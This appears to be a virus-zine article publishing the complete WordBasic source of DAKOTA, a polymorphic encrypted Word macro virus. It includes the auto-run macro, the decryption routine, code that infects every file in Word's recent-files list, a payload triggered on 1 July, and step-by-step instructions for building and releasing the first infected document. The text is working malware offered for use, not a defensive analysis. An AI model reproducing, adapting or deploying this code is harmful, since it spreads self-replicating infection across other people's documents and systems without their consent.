SLAM2.005: The new encrypted Macro Virus DAKOTA

Published in

· 2 years ago

[ WordMacro. DAKOTA ]------------------------ 

˛ VIRUSNAME:      DAKOTA 
˛ SIZE:           change at every infection 
˛ ORIGIN:         Germany 
˛ AUTHOR:         Nightmare Joker 

->Polymorf        Yes 
->Stealth         No 
->Encrypted       Yes 
->Retro           No 
----------------------------------------------

After FutureNot is here now a new polymorphic macro virus.
The virus contains 2 macros (AutoClose and DAKOTA) and 4 document variables:

CODE (contains the code to infect a file)
Payload (I think you know it)
counter (counter for the encryption routine)
DAKOTA (to check if any file is already infected)

OK, here is the source code:

----------------------------------------------------------------- 

MACRO: AutoClose 
~~~~~~~~~~~~~~~~ 
Sub MAIN 

REM At first set ScreenUpdating Off and DisableInput On 
ScreenUpdating : DisableInput 

REM Open the DAKOTA macro, select and copy the complete code. 
ToolsMacro .Name = "DAKOTA", .Show = 3, .Edit 
EditSelectAll : ax$ = Selection$() 

REM Now remove all encryption signs. 
For ax = 1 To Len(ax$) 
bx$ = Mid$(ax$, ax, 1) 
If bx$ = Chr$(134) Or bx$ = Chr$(39) Then Goto Nexit 
dx$ = dx$ + bx$ 
Nexit: 
Next ax 

REM Delete the old encrypted code and insert the new decrypted code. 
EditClear - 1 : StartOfDocument : Insert dx$ 
DocClose 1 

REM Run the DAKOTA macro. 
DAKOTA 

REM Open it again, select and delete the complete code. 
ToolsMacro .Name = "DAKOTA", .Show = 3, .Edit 
EditSelectAll : EditClear - 1 

REM dx$ is the decrypted code of the DAKOTA macro. 
REM Encrypt now the code again. 
For xx = 1 To Len(dx$) 
hx$ = Mid$(dx$, xx, 1) 
fx = Rnd() : fx$ = Str$(fx) : fx$ = Right$(fx$, 1) : fx = Val(fx$) 
If fx < 3 Then 
	nj$ = nj$ + hx$ + Chr$(134) 
Else 
	nj$ = nj$ + hx$ 
End If 
Next xx 

REM Insert the encrypted code into the DAKOTA macro, 
REM go to top of the macro and insert at the 
REM beginning of every line a '. We must do that, because 
REM Word would insert a space behind every encryption sign and 
REM if we decrypt the code again, we will decrypt this space, too. 
Insert nj$ 
StartOfDocument 
Insert "'" 
For ix = 1 To 40 
LineDown 1 
StartO-ine 
Insert "'" 
Next ix 

REM Close and save the DAKOTA macro. 
REM Run and delete the DAKOTA2 macro. 
DocClose 1 : DAKOTA2 
ToolsMacro .Name = "DAKOTA2", .Show = 3, .Delete 

REM Save all and create a new string for the DAKOTA document variable. 
FileSaveAll 1, 0 
SetDocumentVar "DAKOTA", Str$(Rnd(v)) 

REM Set ScreenUpdating On and DisableInput Off 
ScreenUpdating : DisableInput 0 
End Sub 

----------------------------------------------------------------- 

MACRO: DAKOTA (of course, decrypted) 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
Sub MAIN 

REM Get the encrypted code and the counter for the decrypting routine. 
a$ = GetDocumentVar$("CODE") 
g$ = GetDocumentVar$("counter") : g = Val(g$)	 

REM decrypt now the code (a$) with the key (g). 
For a = 1 To Len(a$) 
b$ = Mid$(a$, a, 1) 
b = Asc(Mid$(a$, a, 1))	 
c = b + g 
If c > 255 Then c = c - 256	 
d$ = d$ + Chr$(c) 
Next 

REM Generate the new key. (I know thats very lame, but WordBasic 
REM is to laaammmeee to make a better encryption routine. :( ) 
g = g + 1 
If g = 255 Then g = 2 

REM Open a new macro, called DAKOTA2 and insert 
REM the decrypted code. 
ToolsMacro .Name = "DAKOTA2", .Show = 3, .Edit 
Insert d$ 

REM Close and save the macro.  
DocClose 1 : a$ = "" : b$ = "" : g$ = "" 

REM Now encrypt the code with the new key. 
For y = 1 To Len(d$) 
x = Asc(Mid$(d$, y, 1)) 
z = x - g 
If z < 0 Then z = z + 256 
e$ = e$ + Chr$(z) 
Next 

REM Save the encrypted code and the new key (counter) in 
REM a document variable. 
SetDocumentVar "counter", Str$(g) 
SetDocumentVar "CODE", e$ 

REM If today is 01/07/xx then 
REM get the encrypted code from the Payload document variable. 
If Day(Now()) = 1 And Month(Now()) = 7 Then 
k2$ = GetDocumentVar$("Payload") 

REM Decrypt it! 
For ay = 1 To Len(k2$) 
b2$ = Mid$(k2$, ay, 1) 
b2 = Asc(Mid$(k2$, ay, 1))	 
c2 = b2 + 1 
If c2 > 255 Then c2 = c2 - 256	 
d2$ = d2$ + Chr$(c2) 
Next 

REM Open a new macro, called FinalDAKOTA, select and 
REM delete the two lines. [Sub Main ... End Sub] 
ToolsMacro .Name = "FinalDAKOTA", .Show = 3, .Edit 
EditSelectAll : EditClear - 1 

REM Insert the decrypted code and save the macro. 
REM Set ScreenUpdating On and start the payload. 
Insert d2$ : DocClose 1 : ScreenUpdating 
FinalDAKOTA 

REM Set again ScreenUpdating Off. 
ScreenUpdating 
End If 
End Sub 

----------------------------------------------------------------- 

"CODE" document variable. (again decrypted) 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

REM This code mustn't contain the [MAIN Sub] and [End Sub] 
REM string, because if we open a new macro we get this to 
REM lines automatic. 

REM Set DisableAutoMacros On and get the code from the 
REM document variables CODE, counter and Payload. 
DisableAutoMacros 
ua$ = GetDocumentVar$("CODE") 
ub$ = GetDocumentVar$("counter") 
uc$ = GetDocumentVar$("Payload") 

REM iu$ = the name of the active document. 
iu$ = FileName$() 

REM Count all document names in the FileList 
REM and open every! 
For iu = 1 To CountFiles() 
If Files$(FileName$(iu)) <> "" Then 
FileList iu 

REM ju$ = the at the moment active file from the FileList 
ju$ = FileName$() 

REM If this file isn't the same as the infected one then 
REM check if it's allready infected. 
If iu$ <> ju$ Then 
uu$ = GetDocumentVar$("DAKOTA") 

REM If not then save it as a template and copy the macros to it. 
If uu$ = "" Then 
FileSaveAs .Format = 1 
MacroCopy iu$ + ":AutoClose", ju$ + ":", 1 
MacroCopy iu$ + ":DAKOTA", ju$ + ":" 

REM Save the document variables, too. 
SetDocumentVar "CODE", ua$ 
SetDocumentVar "counter", ub$ 
SetDocumentVar "DAKOTA", Str$(Rnd()) 
SetDocumentVar "Payload", uc$ 
End If 

REM At last close and save this file. 
FileClose 1 
End If 
End If 

REM Get the next file. 
Next iu 

REM Set DisableAutoMacros Off. 
DisableAutoMacros 0 

----------------------------------------------------------------- 

"Payload" document variable 
~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
Sub MAIN 

REM Create a new document. 
FileNew 
If DocMaximize() Then DocMaximize 
DocSize 234, 231 

REM Set the right Font, size 36, bold. 
Font "Times New Roman" 
Bold 
FontSize 36 

REM Insert "DAKOTA" and "(c) Nightmare Joker & Virtual Boy [SLAM]" 
Insert "DAKOTA!" 
InsertPara 
Bold 
FontSize 20 
InsertPara 
Insert "(c) Nightmare Joker" 
InsertPara 
InsertPara 
Insert "& Virtual Boy [SLAM]" 

REM And now let the document jump around the screen. ;-)) 
WaitCursor 0 
If DocMaximize() Then DocMaximize : i = 1 
j = DocWindowPosLeft() 
k = DocWindowPosTop() 
e = j 
f = k 
a = AppWindowWidth() - DocWindowWidth() 
b = AppWindowHeight() - DocWindowHeight() - 90 
c = 1 
d = 1 
g = 1 
For l = 0 To 29 
While h(a, b, c, d, e, f) 
DocWindowPosLeft e 
DocWindowPosTop f 
e = e + c * g 
f = f + d * g 
Wend 
If e > a Then c = - 1 
If f > b Then d = - 1 
If e < 0 Then c = 1 
If f < 0 Then d = 1 
Beep 
Next 
DocWindowPosLeft j 
DocWindowPosTop k 
If i Then DocMaximize 
End Sub 

Function h(a, b, c, d, e, f) 
h = 1 
If c = 1 Then 
If e > a Then h = 0 
Else 
If e < 0 Then h = 0 
End If 
If d = 1 Then 
If f > b Then h = 0 
Else 
If f < 0 Then h = 0 
End If 
End Function 

-----------------------------------------------------------------

The most difficult thing at this virus is to start him.

Here is a short description.

At first generate six macros. An AutoOpen, Dakota, CODE, and Payload macro.
Insert now the code. (see above)

IMPORTANT: Remove the tow lines: (MAIN Sub) and (Sub End) from the CODE and Payload macro!!!!!

OK, Now generate the MAKE macro and insert the following code:

----------------------------------------------------------------- 

Sub MAIN 

REM Generate a new file. 
FileNew 

REM Save it as a template. 
FileSaveAs .Name = "c:\virus.doc", .Format = 1 

REM Copy now the macros "AutoOpen" and "DAKOTA" to it. 
MacroCopy "Global:AutoOpen", FileName$() + ":AutoOpen" 
MacroCopy "Global:DAKOTA", FileName$() + ":DAKOTA" 

REM Open the CODE macro and select all.  
ToolsMacro .Name = "CODE", .Show = 1, .Edit 
EditSelectAll 
a$ = Selection$() 

REM Close it. 
DocClose 2 

REM Encrypt now the code. 
For a = 1 To Len(a$) 
d = Asc(Mid$(a$, a, 1))	 
e = d - 1 
If e > 255 Then e = e - 256	 
f$ = f$ + Chr$(e) 
Next a 

REM Save this code in the CODE document variable. 
SetDocumentVar "CODE", f$ 

REM Open now the Payload macro and select all. 
ToolsMacro .Name = "Payload", .Show = 1, .Edit 
EditSelectAll 
b$ = Selection$() 

REM Close it. 
DocClose 2 

REM Again encrypt it! 
For a = 1 To Len(b$) 
d = Asc(Mid$(b$, a, 1))  
e = d - 1 
If e > 255 Then e = e - 256	 
h$ = h$ + Chr$(e) 
Next 

REM Save the code in the Payload document variable. 
SetDocumentVar "Payload", h$ 

REM Now save the counter and mark the file as infected. 
SetDocumentVar "counter", "1" 
SetDocumentVar "DAKOTA", "INFECTED" 

REM At last save all. 
FileSaveAll 1, 0 
End Sub 

-----------------------------------------------------------------